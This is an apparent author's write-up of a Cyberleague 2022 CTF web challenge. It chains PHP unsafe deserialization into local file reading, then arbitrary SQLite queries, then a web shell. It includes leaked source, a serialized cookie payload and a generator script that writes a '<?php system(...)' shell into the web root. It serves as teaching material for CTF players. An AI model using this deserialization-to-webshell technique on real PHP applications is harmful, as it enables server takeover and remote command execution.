Cyberleague Quarterfinals 2022 - Pretty Hyper Phrog


Writeup for one of the web challenges I set for Cyberleague 2022.

Here is the source

The main vuln is PHP deserialization. In PHP, this allows for arbitrary properties to be assigned to objects. In addition, the class of the object can also be controlled. With these interesting capabilities of unsafe deserialization, I made a 2-phase challenge that will require one to leverage both concepts + some other exotic concepts to ultimately get RCE.

Phase 1: LFI

Since the source wasn’t provided in the CTF, our first goal is to get some sort of LFI to get the complete source.

Here’s a sample “password”, our attack vector:

Tzo0OiJVc2VyIjozOntzOjc6InBpY3R1cmUiO3M6MTY6InN0YXRpYy9waHJvZy5naWYiO3M6ODoidXN lcm5hbWUiO3M6ODoic2FtdXpvcmEiO3M6NDoidXVpZCI7czoxMzoiNjNhNDYyNTViNGM5YiI7fQ==

We know that each user’s password is a PHP serialized object, and there is a property picture that is pointing to static/phrog.gif. After some experimenting we see that this is passed to file_get_contents, which we can use to enumerate the source.

Phase 2: RCE

We not only want LFI, we want RCE too! With big and well-known frameworks, PHP deserialization is a piece of cake, as there are ready-made RCE gadget chains online. However, this is a custom implementation so it doesn’t exist. We need to make it ourselves :(

Some of the leaked files:



$conn = new Conn;

if (array_key_exists("password", $_COOKIE) === false) {
echo file_get_contents("static/index.html");
$temp = unserialize(base64_decode($_COOKIE["password"]));
$conn->query = "select username, uuid from users where uuid = :uuid";
$conn->params = array(":uuid" => $temp->uuid);
$result = $conn->query();
if ($result) {
$user = $temp;
} else {
header("Location: /login.php");

<!DOCTYPE html>
<link href="" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<script src="" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
<div class="container mt-5 px-auto">
<div class="row">
<div class="col">
<?php echo $user->whoami(); ?>
<div class="col">
<p>I hope u like phrogs</p>


class User {
public $picture;
public $username;
public $uuid;

public function __construct(string $username, string $uuid) {
$this->username = $username;
$this->picture = "static/phrog.gif";
$this->uuid = $uuid;

public function whoami() {
$picture = base64_encode(file_get_contents($this->picture));
return "
<div class='card' style='width: 50%'>
<img class='card-img-top' src='data:image/gif;base64,{$picture}' class='rounded' alt='phrog'>
<div class='card-body'>
<h5 class='card-title'>User: {$this->username}</h5>
<p>uuid: {$this->uuid}</p>


class Conn {
public $query;
public $params;

public function __call(string $name, array $arguments) {
$conn = new SQLite3("/sqlite3/db");
$query = $this->query;
foreach ($this->params as $key=>$value) {
$value = $conn->escapeString($value);
$query = str_replace($key, "'$value'", $query);

// in case we ever need to execute multiple queries
$queries = explode("; ", $query);
foreach ($queries as $temp) {
$result = $conn->query($temp);
if ($result !== false) {
if ($result->numColumns()) {
return $result->fetchArray();
} else {
return true;
} else {
return $result;

Some things to note:

  1. In Conn, the query is being prepared manually. This could maybe give us SQLi, if we manage to bypass the (not so stringent) checks. Props to RVCTF who found an unintended solution via the weak escaping. (The reason why I had to implement my own query, is because we need multiple queries for the exploit - and I couldn’t find a driver that could allow me to do that. So I exploded based on ; and ran each query manually.)
  2. In Conn, __call is being used to invoke the query function. This magic method defines a fallback for undefined properties that are invoked.

As you might guess based on the context of the challenge, we can change $temp (and hence $user) into a $Conn object. This would allow us to control the $query array in our poisoned object and execute our own queries via the ->whoami() call (since it doesn’t exist on a $Conn, it will fallback to __call()). While we do this, we also need to ensure that ->username and ->uuid remains constant so we pass the check.

With this we can execute arbitrary SQL (should I call this SQLi?). But how to get RCE?

SQLite uses a single-file database locally, instead of connecting to a remote service. And we can attach new databases to arbitrary locations, which creates a file with some binary content, as well as whatever we insert into the new database.

So in a fashion similar to PHP web shells, we can create a malicious SQLite database in /var/www/html, create a table and insert a row with our web shell, thus gaining RCE!

Below is the code to generate the payload:

class Conn {
public $username = 'samuzora';
public $uuid = '63a46255b4c9b';
public $query = "attach database './63a46255b4c9b.php' as test; create table test.a (payload text); insert into test.a values ('<?php system(\$_GET[\"cmd\"]) ?>')";
public $params = array();
echo base64_encode(serialize(new Conn));
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Cyberleague Quarterfinals 2022 - Pretty Hyper Phrog